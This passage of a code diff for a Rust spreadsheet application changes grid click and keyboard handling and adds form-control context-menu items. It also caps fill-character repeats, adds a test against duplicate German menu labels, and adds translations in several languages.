}
|
||||
@@ -469,11 +489,16 @@ fn handle_press(app: &mut SheetApp, input: &InteractionInput<'_>) {
|
||||
return;
|
||||
}
|
||||
let now = crate::now_ms();
|
||||
if handle_cell_double_click(app, input, c, now) {
|
||||
// While a reference box picks, a click only picks: a second click on a cell does not edit it,
|
||||
// and a link is not followed nor a checkbox toggled.
|
||||
let ref_box_picks = app.dialog.as_ref().is_some_and(|d| d.ref_box_picks());
|
||||
let acts = primary_clicked && !ref_box_picks;
|
||||
if !ref_box_picks && handle_cell_double_click(app, input, c, now) {
|
||||
return;
|
||||
}
|
||||
app.grid.last_click = Some((c, now));
|
||||
if mods.shift {
|
||||
note_selecting_press(app);
|
||||
let _ = app.session.run("selection.set", json!({"range": RangeRef::new(sel.anchor, c).a1(), "active": sel.active.a1()}));
|
||||
if let Some(d) = app.session.active_mut() {
|
||||
d.selection.anchor = sel.anchor;
|
||||
@@ -481,22 +506,24 @@ fn handle_press(app: &mut SheetApp, input: &InteractionInput<'_>) {
|
||||
} else if mods.command {
|
||||
// Ctrl+click (without Alt) on a hyperlink's text follows it instead of adding the cell to the selection.
|
||||
if let Some(h) = sh.hyperlinks.get(&c).cloned()
|
||||
&& primary_clicked
|
||||
&& acts
|
||||
&& !mods.alt
|
||||
&& p.x < geo.cell_rect(sh, c).left() + geo.cell_rect(sh, c).width() * 0.8
|
||||
{
|
||||
follow_link(app, &h.target);
|
||||
} else {
|
||||
note_selecting_press(app);
|
||||
select_ranges(app, RangeRef::cell(c), true, c);
|
||||
}
|
||||
} else {
|
||||
note_selecting_press(app);
|
||||
let _ = app.session.run("selection.set", json!({"cell": c.a1()}));
|
||||
if primary_clicked && wb.styles.get(sh.style_id(c)).num_fmt.as_str() == "checkbox" {
|
||||
if acts && wb.styles.get(sh.style_id(c)).num_fmt.as_str() == "checkbox" {
|
||||
let _ = app.run("cell.toggleCheckbox", json!({"cell": c.a1()}));
|
||||
}
|
||||
// A click on a hyperlink's text follows it (like Excel); elsewhere in the cell selects.
|
||||
if let Some(h) = sh.hyperlinks.get(&c).cloned()
|
||||
&& primary_clicked
|
||||
&& acts
|
||||
&& !mods.any()
|
||||
{
|
||||
let r = geo.cell_rect(sh, c);
|
||||
@@ -515,6 +542,15 @@ fn handle_press(app: &mut SheetApp, input: &InteractionInput<'_>) {
|
||||
}
|
||||
}
|
||||
|
||||
/// Tells the open dialog that a press on the grid selects: the reference box being picked into
|
||||
/// takes the selection even when the press leaves it as it was (a click on the cell already
|
||||
/// selected), as a deliberate pick.
|
||||
fn note_selecting_press(app: &mut SheetApp) {
|
||||
if let Some(d) = app.dialog.as_mut() {
|
||||
d.note_selecting_press();
|
||||
}
|
||||
}
|
||||
|
||||
fn handle_cell_double_click(app: &mut SheetApp, input: &InteractionInput<'_>, c: CellRef, now: f64) -> bool {
|
||||
let (sh, mods) = (input.sheet, input.modifiers);
|
||||
if let Some((last, at)) = app.grid.last_click
|
||||
@@ -544,6 +580,15 @@ fn handle_cell_double_click(app: &mut SheetApp, input: &InteractionInput<'_>, c:
|
||||
false
|
||||
}
|
||||
|
||||
/// What a press at `p` lands on, for slicer tiles and the generic object handling alike, so the
|
||||
/// z-order decides once: the selected object's handle (handles reach a little past the frame and
|
||||
/// win over hit-testing), else the topmost object under `p` and its rect.
|
||||
fn object_under(app: &SheetApp, geo: &Geo, sh: &Sheet, p: Pos2) -> Option<(ObjRef, Rect, Option<crate::objects::Handle>)> {
|
||||
crate::chartview::selected_handle(app, geo, sh, p)
|
||||
.map(|(o, r, h)| (o, r, Some(h)))
|
||||
.or_else(|| crate::chartview::hit(app, geo, sh, p).map(|(o, r)| (o, r, None)))
|
||||
}
|
||||
|
||||
fn handle_context_menu_and_keyboard(app: &mut SheetApp, input: &InteractionInput<'_>) {
|
||||
let (geo, sh, sel, pos) = (input.geo, input.sheet, &input.selection, input.position);
|
||||
let resp = input.response;
|
||||
@@ -1069,8 +1114,9 @@ fn drag_object(app: &mut SheetApp, geo: &Geo, sh: &Sheet, p: Pos2) {
|
||||
}
|
||||
|
||||
/// A click on a hyperlink. References select; web and e-mail addresses ask first (the dialog's
|
||||
/// OK runs `link.open`); every other kind is refused with a message. The decision is the
|
||||
/// engine's ([`gridcraft_engine::links::classify`]), the same one `link.open` applies.
|
||||
/// OK calls `Session::open_confirmed_link`, since `link.open` refuses them for programmatic
|
||||
/// callers, #2181); every other kind is refused with a message. The decision is the engine's
|
||||
/// ([`gridcraft_engine::links::classify`]), the same one `link.open` applies.
|
||||
pub fn follow_link(app: &mut SheetApp, target: &str) {
|
||||
use gridcraft_engine::links::{LinkKind, classify};
|
||||
match classify(target) {
|
||||
|
||||
@@ -32,7 +32,7 @@ pub(super) fn keyboard(app: &mut SheetApp, ctx: &egui::Context, resp: &egui::Res
|
||||
ctx.memory_mut(|m| {
|
||||
m.set_focus_lock_filter(resp.id, egui::EventFilter { tab: true, horizontal_arrows: true, vertical_arrows: true, escape: true })
|
||||
});
|
||||
let events = ctx.input(|i| i.events.clone());
|
||||
let events = grid_events(app, ctx, sh);
|
||||
// A shortcut key that also types a character (Shift+Space sends Text(" ")) must not start an edit.
|
||||
let shortcut_pressed = events.iter().any(|e| {
|
||||
matches!(e, egui::Event::Key { pressed: true, modifiers: m, key, .. }
|
||||
@@ -155,3 +155,35 @@ pub(super) fn keyboard(app: &mut SheetApp, ctx: &egui::Context, resp: &egui::Res
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// This frame's input events, without those the focused form control took.
|
||||
fn grid_events(app: &mut SheetApp, ctx: &egui::Context, sh: &Sheet) -> Vec<egui::Event> {
|
||||
let events = ctx.input(|i| i.events.clone());
|
||||
events.into_iter().filter(|ev| !form_control_event(app, sh, ev)).collect()
|
||||
}
|
||||
|
||||
/// Whether the focused form control takes `ev`: arrows, Page Up and Down, Home, End, Space and
|
||||
/// Enter without Ctrl, Cmd or Alt, and the space a Space press types when it must not start a
|
||||
/// cell edit: for a button, which Space presses, and on a checkbox cell, which the Space key
|
||||
/// toggles (a slider or spin button doesn't take Space, so Space on a cell does what it does with
|
||||
/// no control focused: it toggles a checkbox cell, or its space starts a cell edit like any other
|
||||
/// character). A key press the control doesn't take goes to the grid, and a focused button gives
|
||||
/// the keyboard back with it.
|
||||
fn form_control_event(app: &mut SheetApp, sh: &Sheet, ev: &egui::Event) -> bool {
|
||||
match ev {
|
||||
egui::Event::Text(text) => {
|
||||
text == " "
|
||||
&& app.selected_object.is_none()
|
||||
&& app.grid.focused_control.is_some()
|
||||
&& (crate::form_controls::focused_button(app, sh) || is_checkbox(sh, app))
|
||||
}
|
||||
egui::Event::Key { key, pressed: true, repeat, modifiers: m, .. } => {
|
||||
if !m.command && !m.ctrl && !m.alt && crate::form_controls::key(app, sh, *key, *repeat) {
|
||||
return true;
|
||||
}
|
||||
crate::form_controls::key_to_grid(app, sh);
|
||||
false
|
||||
}
|
||||
_ => false,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -385,14 +385,22 @@ pub(super) fn fill_menu(app: &mut SheetApp, ui: &mut egui::Ui, was_open: bool) {
|
||||
}
|
||||
}
|
||||
|
||||
/// The right-click menu of a chart, picture, shape or slicer.
|
||||
/// The right-click menu of a chart, picture, shape, slicer or form control (Edit Text and Assign
|
||||
/// Action for a button, and Format Control, before Delete).
|
||||
pub(super) fn object_menu(app: &mut SheetApp, ui: &mut egui::Ui) {
|
||||
let Some((at, kind, id)) = app.grid.object_menu else { return };
|
||||
let mut close = false;
|
||||
let resp = egui::Area::new(egui::Id::unique("object_context")).fixed_pos(at).order(egui::Order::Foreground).show(ui.ctx(), |ui| {
|
||||
egui::Frame::popup(ui.style()).show(ui, |ui| {
|
||||
ui.set_min_width(200.0);
|
||||
let mut items = vec![("Delete", "object.delete")];
|
||||
let mut items = vec![];
|
||||
if kind == "control" {
|
||||
if crate::control_ui::is_button(app, id) {
|
||||
items.extend([("Edit Text", "ui:editText"), ("Assign Action…", "ui:assignAction")]);
|
||||
}
|
||||
items.extend([("Format Control…", "ui:formatControl"), ("-", "")]);
|
||||
}
|
||||
items.push(("Delete", "object.delete"));
|
||||
if kind == "chart" {
|
||||
items.extend([("-", ""), ("Select Data…", "ui:selectData"), ("Format Chart Area…", "ui:formatChart")]);
|
||||
}
|
||||
@@ -407,6 +415,9 @@ pub(super) fn object_menu(app: &mut SheetApp, ui: &mut egui::Ui) {
|
||||
match action {
|
||||
"ui:selectData" => app.open_dialog("selectData", json!({"chart": id})),
|
||||
"ui:formatChart" => app.grid.pane = Some("formatChart".into()),
|
||||
"ui:editText" => app.open_dialog("formatControl", json!({"id": id, "textOnly": true})),
|
||||
"ui:assignAction" => app.open_dialog("assignAction", json!({"id": id})),
|
||||
"ui:formatControl" => app.open_dialog("formatControl", json!({"id": id})),
|
||||
_ => {
|
||||
app.run_or_alert("object.delete", json!({"kind": kind, "id": id}));
|
||||
app.selected_object = None;
|
||||
@@ -485,7 +496,7 @@ pub(super) fn header_menu(app: &mut SheetApp, ui: &mut egui::Ui, was_open: bool)
|
||||
("Copy", "edit.copy"),
|
||||
("Paste", "edit.paste"),
|
||||
("-", ""),
|
||||
("Insert", "home.insertRows"),
|
||||
("Header Menu|Insert", "home.insertRows"),
|
||||
("Delete", "home.deleteRows"),
|
||||
("Clear Contents", "edit.clearContents"),
|
||||
("-", ""),
|
||||
@@ -502,7 +513,7 @@ pub(super) fn header_menu(app: &mut SheetApp, ui: &mut egui::Ui, was_open: bool)
|
||||
("Copy", "edit.copy"),
|
||||
("Paste", "edit.paste"),
|
||||
("-", ""),
|
||||
("Insert", "home.insertColumns"),
|
||||
("Header Menu|Insert", "home.insertColumns"),
|
||||
("Delete", "home.deleteColumns"),
|
||||
("Clear Contents", "edit.clearContents"),
|
||||
("-", ""),
|
||||
|
||||
@@ -278,6 +278,9 @@ fn paint_cell_decorations(q: &QuadrantPaint<'_>, c: CellRef, rect: Rect, lk: &Lo
|
||||
false
|
||||
}
|
||||
|
||||
/// Most repeats of a fill character laid out in one cell.
|
||||
const MAX_FILL_REPEATS: usize = 8192;
|
||||
|
||||
fn paint_data_bar(p: &egui::Painter, rect: Rect, frac: f32, rgb: [u8; 3], gradient: bool) {
|
||||
let bar = Rect::from_min_size(pos2(rect.left() + 2.0, rect.top() + 2.0), vec2((rect.width() - 4.0) * frac, rect.height() - 4.0));
|
||||
let col = theme::color32(rgb);
|
||||
@@ -432,7 +435,8 @@ fn paint_cell(q: &QuadrantPaint<'_>, painted: &(CellRef, Rect, Look, Option<CfLo
|
||||
{
|
||||
let base_w = w;
|
||||
let cw = p.layout_no_wrap(ch.to_string(), font.clone(), color).size().x.max(1.0);
|
||||
let n = (((avail_w - 2.0 * pad) - base_w) / cw).floor().max(0.0) as usize;
|
||||
// A merged cell's width counts offscreen columns: no screen shows more repeats than this.
|
||||
let n = ((((avail_w - 2.0 * pad) - base_w) / cw).floor().max(0.0) as usize).min(MAX_FILL_REPEATS);
|
||||
let mut s = first_line.clone();
|
||||
if first_line.is_char_boundary(pos) {
|
||||
s.insert_str(pos, &ch.to_string().repeat(n));
|
||||
|
||||
@@ -180,6 +180,52 @@ fn filter_menu_uses_the_table_whose_header_was_clicked() {
|
||||
assert_eq!(filter_table_range(&sh, 1, 4), None);
|
||||
}
|
||||
|
||||
/// The `("Label", "id")` keys written in `src`, without separators.
|
||||
fn menu_labels(src: &str) -> Vec<&str> {
|
||||
src.split("(\"").skip(1).filter_map(|rest| rest.split_once("\", \"").map(|(label, _)| label)).filter(|label| *label != "-").collect()
|
||||
}
|
||||
|
||||
/// The source of `menus.rs` from `start` to the first `end` after it.
|
||||
fn menu_source<'a>(src: &'a str, start: &str, end: &str) -> &'a str {
|
||||
let from = src.find(start).unwrap_or_else(|| panic!("{start:?} not in menus.rs"));
|
||||
let rest = &src[from..];
|
||||
&rest[..rest.find(end).unwrap_or_else(|| panic!("{end:?} not after {start:?}"))]
|
||||
}
|
||||
|
||||
/// German read "Einfügen" for Paste and "Einfügen…"/"Einfügen" for Insert in the same menu
|
||||
/// (#2874): no two items of the cell, row header or column header menu may read alike, ignoring
|
||||
/// case and a trailing ellipsis. The items are read from `menus.rs`, so new ones are checked too.
|
||||
#[test]
|
||||
fn german_context_menus_have_no_two_items_alike() {
|
||||
use crate::i18n::Language;
|
||||
let src = include_str!("menus.rs");
|
||||
let cell = menu_labels(menu_source(src, "fn context_menu(", "let lang ="));
|
||||
let (rows, columns) =
|
||||
menu_source(src, "fn header_menu(", "let lang =").split_once("} else {").expect("header menu has a rows and a columns list");
|
||||
let insert_copied = menu_labels(menu_source(src, "fn insert_copied_item(", "\n}"));
|
||||
assert_eq!(insert_copied.len(), 3, "{insert_copied:?}");
|
||||
for (menu, keys) in [("cell", cell), ("row header", menu_labels(rows)), ("column header", menu_labels(columns))] {
|
||||
assert!(keys.contains(&"Paste") && keys.len() > 8, "{menu} menu not read from menus.rs: {keys:?}");
|
||||
// A menu holds at most one Insert Copied/Cut Cells entry.
|
||||
for extra in &insert_copied {
|
||||
let mut seen: Vec<(String, &str)> = Vec::new();
|
||||
for key in keys.iter().chain([extra]) {
|
||||
let shown = Language::De.tr(key).trim_end_matches('…').trim().to_lowercase();
|
||||
if let Some((_, other)) = seen.iter().find(|(text, _)| *text == shown) {
|
||||
panic!("German {menu} menu shows {key:?} and {other:?} both as {shown:?}");
|
||||
}
|
||||
seen.push((shown, key));
|
||||
}
|
||||
}
|
||||
}
|
||||
assert_eq!(Language::De.tr("Insert…"), "Zellen einfügen…");
|
||||
assert_eq!(Language::De.tr("Header Menu|Insert"), "Zellen einfügen");
|
||||
// Only German changed: the header menu's Insert reads as the plain Insert everywhere else.
|
||||
for language in Language::ALL.into_iter().filter(|l| *l != Language::De) {
|
||||
assert_eq!(language.tr("Header Menu|Insert"), language.tr("Insert"), "{}", language.code());
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn cell_text_y_moves_monotonically_in_standard_and_tall_rows() {
|
||||
let rect_std = Rect::from_min_max(pos2(0.0, 0.0), pos2(100.0, 20.0));
|
||||
|
||||
@@ -57,6 +57,7 @@ pub(super) fn translate(text: &str) -> Option<&'static str> {
|
||||
"Format\nPane" => "Podokno\nformátu",
|
||||
"Format" => "Formát",
|
||||
"Insert" => "Vložit",
|
||||
"Header Menu|Insert" => "Vložit",
|
||||
"Insert Cells…" => "Vložit buňky…",
|
||||
"Delete" => "Odstranit",
|
||||
"Delete Cells…" => "Odstranit buňky…",
|
||||
@@ -246,6 +247,15 @@ pub(super) fn translate(text: &str) -> Option<&'static str> {
|
||||
"Convert to Comments" => "Převést na komentáře",
|
||||
"Checkbox" => "Zaškrtávací políčko",
|
||||
"Insert checkboxes in the selected cells" => "Vložit zaškrtávací políčka do vybraných buněk",
|
||||
"Button" => "Tlačítko",
|
||||
"Slider" => "Posuvník",
|
||||
"Spin Button" => "Číselník",
|
||||
"Draw a button that runs a macro or a command" => "Nakreslit tlačítko, které spustí makro nebo příkaz",
|
||||
"Draw a slider that sets a whole number in a linked cell" => "Nakreslit posuvník, který nastaví celé číslo v propojené buňce",
|
||||
"Draw a spin button that steps a whole number in a linked cell" => "Nakreslit číselník, který po krocích mění celé číslo v propojené buňce",
|
||||
"Edit Text" => "Upravit text",
|
||||
"Assign Action…" => "Přiřadit akci…",
|
||||
"Format Control…" => "Formát ovládacího prvku…",
|
||||
"Sheet\nRight-to-Left" => "List zprava\ndoleva",
|
||||
"Sheet Right-to-Left" => "List zprava doleva",
|
||||
"Data\nAnalysis" => "Analýza\ndat",
|
||||
@@ -381,6 +391,8 @@ pub(super) fn translate(text: &str) -> Option<&'static str> {
|
||||
"Legend: Bottom" => "Legenda: dole",
|
||||
"Legend: Top" => "Legenda: nahoře",
|
||||
"Legend: Right" => "Legenda: vpravo",
|
||||
"First slice angle" => "Úhel prvního výseku",
|
||||
"Doughnut hole size" => "Velikost otvoru prstence",
|
||||
"Gridlines: None" => "Mřížka: žádná",
|
||||
"Gridlines: Show" => "Mřížka: zobrazit",
|
||||
"Chart\nTitle" => "Název\ngrafu",
|
||||
|
||||
@@ -57,6 +57,7 @@ pub(super) fn translate(text: &str) -> Option<&'static str> {
|
||||
"Format\nPane" => "Format-\nbereich",
|
||||
"Format" => "Format",
|
||||
"Insert" => "Einfügen",
|
||||
"Header Menu|Insert" => "Zellen einfügen",
|
||||
"Insert Cells…" => "Zellen einfügen…",
|
||||
"Delete" => "Löschen",
|
||||
"Select Data…" => "Daten auswählen…",
|
||||
@@ -260,6 +261,19 @@ pub(super) fn translate(text: &str) -> Option<&'static str> {
|
||||
"Convert to Comments" => "In Kommentare konvertieren",
|
||||
"Checkbox" => "Kontrollkästchen",
|
||||
"Insert checkboxes in the selected cells" => "Kontrollkästchen in die ausgewählten Zellen einfügen",
|
||||
"Button" => "Schaltfläche",
|
||||
"Slider" => "Schieberegler",
|
||||
"Spin Button" => "Drehfeld",
|
||||
"Draw a button that runs a macro or a command" => "Eine Schaltfläche zeichnen, die ein Makro oder einen Befehl ausführt",
|
||||
"Draw a slider that sets a whole number in a linked cell" => {
|
||||
"Einen Schieberegler zeichnen, der eine ganze Zahl in einer verknüpften Zelle festlegt"
|
||||
}
|
||||
"Draw a spin button that steps a whole number in a linked cell" => {
|
||||
"Ein Drehfeld zeichnen, das eine ganze Zahl in einer verknüpften Zelle schrittweise ändert"
|
||||
}
|
||||
"Edit Text" => "Text bearbeiten",
|
||||
"Assign Action…" => "Aktion zuweisen…",
|
||||
"Format Control…" => "Steuerelement formatieren…",
|
||||
"Sheet\nRight-to-Left" => "Blatt von rechts\nnach links",
|
||||
"Sheet Right-to-Left" => "Blatt von rechts nach links",
|
||||
"Data\nAnalysis" => "Daten-\nanalyse",
|
||||
@@ -394,6 +408,8 @@ pub(super) fn translate(text: &str) -> Option<&'static str> {
|
||||
"Legend: Bottom" => "Legende: Unten",
|
||||
"Legend: Top" => "Legende: Oben",
|
||||
"Legend: Right" => "Legende: Rechts",
|
||||
"First slice angle" => "Winkel des ersten Segments",
|
||||
"Doughnut hole size" => "Größe des Ringlochs",
|
||||
"Gridlines: None" => "Gitternetzlinien: Keine",
|
||||
"Gridlines: Show" => "Gitternetzlinien: Anzeigen",
|
||||
"Chart\nTitle" => "Diagramm-\ntitel",
|
||||
@@ -461,7 +477,7 @@ pub(super) fn translate(text: &str) -> Option<&'static str> {
|
||||
// grid.rs cell and row/column header context menus.
|
||||
"Cut" => "Ausschneiden",
|
||||
"Copy" => "Kopieren",
|
||||
"Insert…" => "Einfügen…",
|
||||
"Insert…" => "Zellen einfügen…",
|
||||
"Delete…" => "Löschen…",
|
||||
"Filter by Selected Cell's Value" => "Nach Wert der gewählten Zelle filtern",
|
||||
"New Comment" => "Neuer Kommentar",
|
||||
|
||||
@@ -56,6 +56,7 @@ pub(super) fn translate(text: &str) -> Option<&'static str> {
|
||||
"Format\nPane" => "Παράθυρο\nμορφοποίησης",
|
||||
"Format" => "Μορφοποίηση",
|
||||
"Insert" => "Εισαγωγή",
|
||||
"Header Menu|Insert" => "Εισαγωγή",
|
||||
"Insert Cells…" => "Εισαγωγή κελιών…",
|
||||
"Delete" => "Διαγραφή",
|
||||
"Delete Cells…" => "Διαγραφή κελιών…",
|
||||
@@ -239,6 +240,17 @@ pub(super) fn translate(text: &str) -> Option<&'static str> {
|
||||
"Convert to Comments" => "Μετατροπή σε σχόλια",
|
||||
"Checkbox" => "Πλαίσιο ελέγχου",
|
||||
"Insert checkboxes in the selected cells" => "Εισαγωγή πλαισίων ελέγχου στα επιλεγμένα κελιά",
|
||||
"Button" => "Κουμπί",
|
||||
"Slider" => "Ρυθμιστικό",
|
||||
"Spin Button" => "Κουμπί περιστροφής",
|
||||
"Draw a button that runs a macro or a command" => "Σχεδίαση κουμπιού που εκτελεί μια μακροεντολή ή μια εντολή",
|
||||
"Draw a slider that sets a whole number in a linked cell" => "Σχεδίαση ρυθμιστικού που ορίζει έναν ακέραιο αριθμό σε ένα συνδεδεμένο κελί",
|
||||
"Draw a spin button that steps a whole number in a linked cell" => {
|
||||
"Σχεδίαση κουμπιού περιστροφής που αλλάζει κατά βήματα έναν ακέραιο αριθμό σε ένα συνδεδεμένο κελί"
|
||||
}
|
||||
"Edit Text" => "Επεξεργασία κειμένου",
|
||||
"Assign Action…" => "Αντιστοίχιση ενέργειας…",
|
||||
"Format Control…" => "Μορφοποίηση στοιχείου ελέγχου…",
|
||||
"Sheet\nRight-to-Left" => "Φύλλο από\nδεξιά προς αριστερά",
|
||||
"Sheet Right-to-Left" => "Φύλλο από δεξιά προς αριστερά",
|
||||
"Data\nAnalysis" => "Ανάλυση\nδεδομένων",
|
||||
@@ -342,6 +354,8 @@ pub(super) fn translate(text: &str) -> Option<&'static str> {
|
||||
"Legend: Bottom" => "Υπόμνημα: κάτω",
|
||||
"Legend: Top" => "Υπόμνημα: επάνω",
|
||||
"Legend: Right" => "Υπόμνημα: δεξιά",
|
||||
"First slice angle" => "Γωνία πρώτης φέτας",
|
||||
"Doughnut hole size" => "Μέγεθος οπής ντόνατ",
|
||||
"Gridlines: None" => "Γραμμές πλέγματος: καμία",
|
||||
"Gridlines: Show" => "Γραμμές πλέγματος: εμφάνιση",
|
||||
"Chart\nTitle" => "Τίτλος\nγραφήματος",
|
||||
|
||||
@@ -60,6 +60,7 @@ pub(super) fn translate(text: &str) -> Option<&'static str> {
|
||||
"Format\nPane" => "Panel\nde formato",
|
||||
"Format" => "Formato",
|
||||
"Insert" => "Insertar",
|
||||
"Header Menu|Insert" => "Insertar",
|
||||
"Insert Cells…" => "Insertar celdas…",
|
||||
"Delete" => "Eliminar",
|
||||
"Delete Cells…" => "Eliminar celdas…",
|
||||
@@ -249,6 +250,19 @@ pub(super) fn translate(text: &str) -> Option<&'static str> {
|
||||
"Convert to Comments" => "Convertir en comentarios",
|
||||
"Checkbox" => "Casilla",
|
||||
"Insert checkboxes in the selected cells" => "Insertar casillas en las celdas seleccionadas",
|
||||
"Button" => "Botón",
|
||||
"Slider" => "Control deslizante",
|
||||
"Spin Button" => "Control de número",
|
||||
"Draw a button that runs a macro or a command" => "Dibujar un botón que ejecuta una macro o un comando",
|
||||
"Draw a slider that sets a whole number in a linked cell" => {
|
||||
"Dibujar un control deslizante que establece un número entero en una celda vinculada"
|
||||
}
|
||||
"Draw a spin button that steps a whole number in a linked cell" => {
|
||||
"Dibujar un control de número que cambia un número entero en una celda vinculada"
|
||||
}
|
||||
"Edit Text" => "Modificar texto",
|
||||
"Assign Action…" => "Asignar acción…",
|
||||
"Format Control…" => "Formato de control…",
|
||||
"Sheet\nRight-to-Left" => "Hoja de derecha\na izquierda",
|
||||
"Sheet Right-to-Left" => "Hoja de derecha a izquierda",
|
||||
"Data\nAnalysis" => "Análisis\nde datos",
|
||||
@@ -381,6 +395,8 @@ pub(super) fn translate(text: &str) -> Option<&'static str> {
|
||||
"Legend: Bottom" => "Leyenda: abajo",
|
||||
"Legend: Top" => "Leyenda: arriba",
|
||||
"Legend: Right" => "Leyenda: derecha",
|
||||
"First slice angle" => "Ángulo del primer sector",
|
||||
"Doughnut hole size" => "Tamaño del orificio del anillo",
|
||||
"Gridlines: None" => "Líneas de cuadrícula: ninguna",
|
||||
"Gridlines: Show" => "Líneas de cuadrícula: mostrar",
|
||||
"Chart\nTitle" => "Título\ndel gráfico",
|
||||
|
||||
@@ -67,6 +67,7 @@ pub(super) fn translate(text: &str) -> Option<&'static str> {
|
||||
"Format\nPane" => "Volet\nFormat",
|
||||
"Format" => "Format",
|
||||
"Insert" => "Insertion",
|
||||
"Header Menu|Insert" => "Insertion",
|
||||
"Insert Cells…" => "Insérer des cellules…",
|
||||
"Delete" => "Supprimer",
|
||||
"Delete Cells…" => "Supprimer des cellules…",
|
||||
@@ -120,6 +121,17 @@ pub(super) fn translate(text: &str) -> Option<&'static str> {
|
||||
"Sparklines" => "Courbes de tendance",
|
||||
"Checkbox" => "Case à cocher",
|
||||
"Insert checkboxes in the selected cells" => "Insérer des cases à cocher dans les cellules sélectionnées",
|
||||
"Button" => "Bouton",
|
||||
"Slider" => "Curseur",
|
||||
"Spin Button" => "Toupie",
|
||||
"Draw a button that runs a macro or a command" => "Dessiner un bouton qui exécute une macro ou une commande",
|
||||
"Draw a slider that sets a whole number in a linked cell" => "Dessiner un curseur qui définit un nombre entier dans une cellule liée",
|
||||
"Draw a spin button that steps a whole number in a linked cell" => {
|
||||
"Dessiner une toupie qui modifie par pas un nombre entier dans une cellule liée"
|
||||
}
|
||||
"Edit Text" => "Modifier le texte",
|
||||
"Assign Action…" => "Affecter une action…",
|
||||
"Format Control…" => "Format de contrôle…",
|
||||
"Header & Footer" => "En-tête et pied de page",
|
||||
"Draw with ink" => "Dessiner à l'encre",
|
||||
"Eraser" => "Gomme",
|
||||
@@ -262,6 +274,8 @@ pub(super) fn translate(text: &str) -> Option<&'static str> {
|
||||
"Legend: Bottom" => "Légende : Bas",
|
||||
"Legend: Top" => "Légende : Haut",
|
||||
"Legend: Right" => "Légende : Droite",
|
||||
"First slice angle" => "Angle du premier secteur",
|
||||
"Doughnut hole size" => "Taille du trou de l'anneau",
|
||||
"Gridlines: None" => "Quadrillage : Aucun",
|
||||
"Gridlines: Show" => "Quadrillage : Afficher",
|
||||
"Chart\nTitle" => "Titre du\ngraphique",
|
||||
|
||||
@@ -60,6 +60,7 @@ pub(super) fn translate(text: &str) -> Option<&'static str> {
|
||||
"Format\nPane" => "Riquadro\nFormato",
|
||||
"Format" => "Formato",
|
||||
"Insert" => "Inserisci",
|
||||
"Header Menu|Insert" => "Inserisci",
|
||||
"Insert Cells…" => "Inserisci celle…",
|
||||
"Delete" => "Elimina",
|
||||
"Delete Cells…" => "Elimina celle…",
|
||||
@@ -113,6 +114,19 @@ pub(super) fn translate(text: &str) -> Option<&'static str> {
|
||||
"Sparklines" => "Sparkline",
|
||||
"Checkbox" => "Casella di controllo",
|
||||
"Insert checkboxes in the selected cells" => "Inserisci caselle di controllo nelle celle selezionate",
|
||||
"Button" => "Pulsante",
|
||||
"Slider" => "Dispositivo di scorrimento",
|
||||
"Spin Button" => "Pulsante di selezione",
|
||||
"Draw a button that runs a macro or a command" => "Disegna un pulsante che esegue una macro o un comando",
|
||||
"Draw a slider that sets a whole number in a linked cell" => {
|
||||
"Disegna un dispositivo di scorrimento che imposta un numero intero in una cella collegata"
|
||||
}
|
||||
"Draw a spin button that steps a whole number in a linked cell" => {
|
||||
"Disegna un pulsante di selezione che modifica a passi un numero intero in una cella collegata"
|
||||
}
|
||||
"Edit Text" => "Modifica testo",
|
||||
"Assign Action…" => "Assegna azione…",
|
||||
"Format Control…" => "Formato controllo…",
|
||||
"Header & Footer" => "Intestazione e piè di pagina",
|
||||
"Draw with ink" => "Disegna a mano libera",
|
||||
"Eraser" => "Gomma",
|
||||
@@ -244,6 +258,8 @@ pub(super) fn translate(text: &str) -> Option<&'static str> {
|
||||
"Legend: Bottom" => "Legenda: in basso",
|
||||
"Legend: Top" => "Legenda: in alto",
|
||||
"Legend: Right" => "Legenda: a destra",
|
||||
"First slice angle" => "Angolo della prima fetta",
|
||||
"Doughnut hole size" => "Dimensione del foro della ciambella",
|
||||
"Gridlines: None" => "Griglia: nessuna",
|
||||
"Gridlines: Show" => "Griglia: mostra",
|
||||
"Chart\nTitle" => "Titolo\ndel grafico",
|
||||
|
||||
@@ -64,6 +64,7 @@ pub(super) const CORE: &[(&str, &str)] = &[
|
||||
("Format\nPane", "書式ウィンドウ"),
|
||||
("Format", "書式"),
|
||||
("Insert", "挿入"),
|
||||
("Header Menu|Insert", "挿入"),
|
||||
("Insert Cells…", "セルの挿入…"),
|
||||
("Delete", "削除"),
|
||||
("Delete Cells…", "セルの削除…"),
|
||||
@@ -117,6 +118,15 @@ pub(super) const CORE: &[(&str, &str)] = &[
|
||||
("Sparklines", "スパークライン"),
|
||||
("Checkbox", "チェックボックス"),
|
||||
("Insert checkboxes in the selected cells", "選択したセルにチェックボックスを挿入"),
|
||||
("Button", "ボタン"),
|
||||
("Slider", "スライダー"),
|
||||
("Spin Button", "スピン ボタン"),
|
||||
("Draw a button that runs a macro or a command", "マクロまたはコマンドを実行するボタンを描画"),
|
||||
("Draw a slider that sets a whole number in a linked cell", "リンクされたセルに整数を設定するスライダーを描画"),
|
||||
("Draw a spin button that steps a whole number in a linked cell", "リンクされたセルの整数を増減するスピン ボタンを描画"),
|
||||
("Edit Text", "テキストの編集"),
|
||||
("Assign Action…", "動作の登録…"),
|
||||
("Format Control…", "コントロールの書式設定…"),
|
||||
("Header & Footer", "ヘッダーとフッター"),
|
||||
("Draw with ink", "インクで描画"),
|
||||
("Eraser", "消しゴム"),
|
||||
@@ -257,6 +267,8 @@ pub(super) const CORE: &[(&str, &str)] = &[
|
||||
("Legend: Bottom", "凡例: 下"),
|
||||
("Legend: Top", "凡例: 上"),
|
||||
("Legend: Right", "凡例: 右"),
|
||||
("First slice angle", "最初の扇形の角度"),
|
||||
("Doughnut hole size", "ドーナツの穴のサイズ"),
|
||||
("Gridlines: None", "目盛線: なし"),
|
||||
("Gridlines: Show", "目盛線: 表示"),
|
||||
("Chart\nTitle", "グラフ タイトル"),
|
||||
|
||||
@@ -62,6 +62,7 @@ pub(super) fn translate(text: &str) -> Option<&'static str> {
|
||||
"Format\nPane" => "서식\n창",
|
||||
"Format" => "서식",
|
||||
"Insert" => "삽입",
|
||||
"Header Menu|Insert" => "삽입",
|
||||
"Insert Cells…" => "셀 삽입…",
|
||||
"Delete" => "삭제",
|
||||
"Delete Cells…" => "셀 삭제…",
|
||||
@@ -115,6 +116,15 @@ pub(super) fn translate(text: &str) -> Option<&'static str> {
|
||||
"Sparklines" => "스파크라인",
|
||||
